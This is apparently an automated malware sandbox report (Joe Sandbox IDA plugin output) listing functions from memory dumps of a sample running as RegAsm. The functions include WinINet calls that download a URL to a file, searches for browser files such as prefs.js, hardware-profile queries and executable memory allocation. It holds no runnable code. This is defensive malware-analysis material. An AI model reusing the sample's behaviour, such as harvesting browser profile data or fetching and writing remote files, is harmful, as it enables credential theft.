Part of subcall function 6CC335A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CC3363F
Part of subcall function 6CC335A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CC3369F
Part of subcall function 6CC335A0: __aulldiv.LIBCMT ref: 6CC336E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC3309F

Part of subcall function 6CC55B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CC556EE,?,00000001), ref: 6CC55B85
Part of subcall function 6CC55B50: EnterCriticalSection.KERNEL32(6CCBF688,?,?,?,6CC556EE,?,00000001), ref: 6CC55B90
Part of subcall function 6CC55B50: LeaveCriticalSection.KERNEL32(6CCBF688,?,?,?,6CC556EE,?,00000001), ref: 6CC55BD8
Part of subcall function 6CC55B50: GetTickCount64.KERNEL32 ref: 6CC55BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CC330BE

Part of subcall function 6CC330F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CC33127
Part of subcall function 6CC330F0: __aulldiv.LIBCMT ref: 6CC33140

Part of subcall function 6CC6AB2A: __onexit.LIBCMT ref: 6CC6AB30

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 07c4669e924b16a431b55ed6b94c865e92857ddd96191e44ecd686c4bebf0f38
Instruction ID: 4138aa6dcedeec23922773e152800c6dd72218e3c0fb0f0fc5209c502e6b804a
Opcode Fuzzy Hash: 07c4669e924b16a431b55ed6b94c865e92857ddd96191e44ecd686c4bebf0f38
Instruction Fuzzy Hash: 70F02D2AE207499BCB10DFB899811E67374AF6B114F501319EC8853711FF30A1D983C9

Function 00411EB8 Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 657COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411EBD

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00404DCA: _EH_prolog.MSVCRT ref: 00404DCF
Part of subcall function 00404DCA: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404E1E
Part of subcall function 00404DCA: StrCmpCA.SHLWAPI(?), ref: 00404E38
Part of subcall function 00404DCA: InternetOpenUrlA.WININET(?,00000000,00000000,00000000,-00800100,00000000), ref: 00404E5C
Part of subcall function 00404DCA: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404E7D
Part of subcall function 00404DCA: InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 00404EC8
Part of subcall function 00404DCA: CloseHandle.KERNEL32(?,?,00000400), ref: 00404EE2
Part of subcall function 00404DCA: InternetCloseHandle.WININET(00000000), ref: 00404EE9
Part of subcall function 00404DCA: InternetCloseHandle.WININET(?), ref: 00404EF2

Part of subcall function 00404DCA: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404EA4

Strings

B, xrefs: 00412749

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologInternetlstrcpy$CloseFileHandle$Openlstrcat$CreateReadWritelstrlen
String ID: B
API String ID: 1244342732-1255198513
Opcode ID: d47216f464f1931b2df8ee856ee7241989d4def9523d68925adc3d07f2806224
Instruction ID: ca3b8767cd7f053f48781c5f7d31f618261e7555551c60cb52e9541aca8074f8
Opcode Fuzzy Hash: d47216f464f1931b2df8ee856ee7241989d4def9523d68925adc3d07f2806224
Instruction Fuzzy Hash: 49529E70904288EADB15EBE4D556BDDBBB49F28308F5040BEE449736C2DB781B4CCB66

Function 0040B8AF Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040B8B4

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040B463: _EH_prolog.MSVCRT ref: 0040B468
Part of subcall function 0040B463: FindFirstFileA.KERNEL32(00000000,?,00000000,?,00425F10,?,?,00425BEF,?,00000000,?), ref: 0040B4E7
Part of subcall function 0040B463: StrCmpCA.SHLWAPI(?,00425F14,?,00000000,?), ref: 0040B50B
Part of subcall function 0040B463: StrCmpCA.SHLWAPI(?,00425F18,?,00000000,?), ref: 0040B525
Part of subcall function 0040B463: StrCmpCA.SHLWAPI(?,prefs.js,00000000,?,?,?,00425F1C,?,?,00425BF2,?,00000000,?), ref: 0040B5C1

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

\..\, xrefs: 0040B97C

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$FileFindFirstFolderPathlstrlen
String ID: \..\
API String ID: 271224408-4220915743
Opcode ID: f86a2bfd5b95d5ce54e47b1d76212992246169cb21603bc030c522c566867405
Instruction ID: d1c5d3571bf2dc713ef600a72c9e8dce1a4866c2c46e34e82ec1ac83aff49398
Opcode Fuzzy Hash: f86a2bfd5b95d5ce54e47b1d76212992246169cb21603bc030c522c566867405
Instruction Fuzzy Hash: BEA17EB1900288AACB14FBE5D516BDDBBB4AF19308F50417EE845736C2DB78170CCBA6

Function 00405E09 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

(@, xrefs: 00405ED5, 00405EB1, 00405EB9

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: (@
API String ID: 0-1346038526
Opcode ID: 14c096e7427ac56c3ceb53db33e20d9e6aa561a8e8b35fd361e21ef125d2a38f
Instruction ID: a472476b622eda2900000c9113d1a74c1da44a18ff9f30f91f8d3e78ba7694db
Opcode Fuzzy Hash: 14c096e7427ac56c3ceb53db33e20d9e6aa561a8e8b35fd361e21ef125d2a38f
Instruction Fuzzy Hash: 2B4136B190461AAFCF14EF94D9909AFBBB1EB04314F10447FEA05B7391D6789A818F98

Function 00405D69 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,00000000,?,?,00405E98), ref: 00405DE8

Strings

, xrefs: 00405DBB

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: b6b970fa2179954ca2d24890c2a9fa622aa91f7321e7267b4cd12840a3a9e1b1
Instruction ID: ced7d7a04c1373fcb48adb74aa7fd2d2290691d2abba1c02f51b3daadd827661
Opcode Fuzzy Hash: b6b970fa2179954ca2d24890c2a9fa622aa91f7321e7267b4cd12840a3a9e1b1
Instruction Fuzzy Hash: A7113A71515A0AEBEF20CF94C9887ABB7F5FF04340F6084279541E62C0D7789A85EFA9

Function 00410D21 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Strings

;\B, xrefs: 00410D4E

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID: ;\B
API String ID: 1699248803-1503912327
Opcode ID: 83e6cc5221987d8d92d423f576c0c857877c6fa4a6664693c3a0d08b49ab16c4
Instruction ID: 14537dfbc9dced5e712fe60e3e3a31c8263f1f5987e60415cd97e08317604fbc
Opcode Fuzzy Hash: 83e6cc5221987d8d92d423f576c0c857877c6fa4a6664693c3a0d08b49ab16c4
Instruction Fuzzy Hash: 27F01C7990014CBBDB51DB64C8909EDB7FDEBC4704F0091A6A90593280D6349F459B50

Function 00411250 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00411289

Strings

^qA, xrefs: 00411256

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: ^qA
API String ID: 3080627654-2929517337
Opcode ID: 16d3a2ce8468c8175a4b0748f848a8e721ac03b0a06bcb47fc2447d8941ceac4
Instruction ID: 1eaf247a329aa75c86d9425b1c51e37de0b4722cea675766f58cecf8dc0fcae1
Opcode Fuzzy Hash: 16d3a2ce8468c8175a4b0748f848a8e721ac03b0a06bcb47fc2447d8941ceac4
Instruction Fuzzy Hash: 68E075B0E0421D9FCB44EFA4D5466EEBBF8FF48308F40806AD919F7240E7B456458BA9

Function 004104A2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 004104B3

Strings

Unknown, xrefs: 004104C6

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: 36caf4ab5cc3db7ce453f452f44e3bfd2793be26340c29108ddef0f291e38d6b
Instruction ID: 7df7fbcbbed776e4458085ee5b54356bf3053a549426d159850edd6d89fd8832
Opcode Fuzzy Hash: 36caf4ab5cc3db7ce453f452f44e3bfd2793be26340c29108ddef0f291e38d6b
Instruction Fuzzy Hash: D6E0C270A0010DFBDB10EBA4DA85FDD37BC6B04348F508125A601E3180DBBCE648CBA9

Function 00410CDD Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410CE2
GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425BF6,?,?), ref: 00410CF6

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFileH_prolog
String ID:
API String ID: 3244726999-0
Opcode ID: 9858cde492175e4580259da3237b0586ce143e2643660db7b1ce31a318e284b7
Instruction ID: 23f90a50d93cb2e1358a652bfa6555910aea1ee46ff196ae4cba0ec79dbf811d
Opcode Fuzzy Hash: 9858cde492175e4580259da3237b0586ce143e2643660db7b1ce31a318e284b7
Instruction Fuzzy Hash: BEE09B305005149BC714AFA4E4016CDB720EF05764F10422EE866A25D5C7385B45C684

Function 00405A53 Relevance: 2.6, APIs: 2, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040,?,00000000,?,?,00405E55,00000000,00000000), ref: 00405AB2
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040,?,00000000,?,?,00405E55,00000000,00000000), ref: 00405ADE

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1c251f108aa80a173728c8da74072c4a570c277b0e51025ace0a2ede7004c7e8
Instruction ID: 0100467e13e99263edfc9c933cb68e83bd3c9ecc7dabaf0022702558aaebf942
Opcode Fuzzy Hash: 1c251f108aa80a173728c8da74072c4a570c277b0e51025ace0a2ede7004c7e8
Instruction Fuzzy Hash: 2521AE71700B059BDB24CFB4CC81BABB7F5EB44314F24492AE61AD72D0D278AD408F18

Function 0040D3FA Relevance: 1.7, APIs: 1, Instructions: 221COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040D3FF

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00410CDD: _EH_prolog.MSVCRT ref: 00410CE2
Part of subcall function 00410CDD: GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425BF6,?,?), ref: 00410CF6

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040A893: _EH_prolog.MSVCRT ref: 0040A898

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID:
API String ID: 2625060131-0
Opcode ID: 376a3a712f82bb87cd6dc28791a904098dcfe9595fc6229afb21645f8f31d16a
Instruction ID: c334b669d827ce9460b6e052bb784494c4e07a697f8de2f8e66076f210601346
Opcode Fuzzy Hash: 376a3a712f82bb87cd6dc28791a904098dcfe9595fc6229afb21645f8f31d16a
Instruction Fuzzy Hash: 63915F71D0024CEACF11EBE5D952BDEBBB8AF14308F10417EE44573282DA78570C8B66

Function 0040A893 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040A898

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00409F72: _EH_prolog.MSVCRT ref: 00409F77
Part of subcall function 00409F72: FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,?,?,00425BAE,00000000,-00000020,00000000), ref: 00409FF6

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$FileFindFirstlstrcpy
String ID:
API String ID: 1592259726-0
Opcode ID: 04f1566bf03f5b57a7be48995494788b674163e3f1712f7d1c8d8cfa6d3f667e
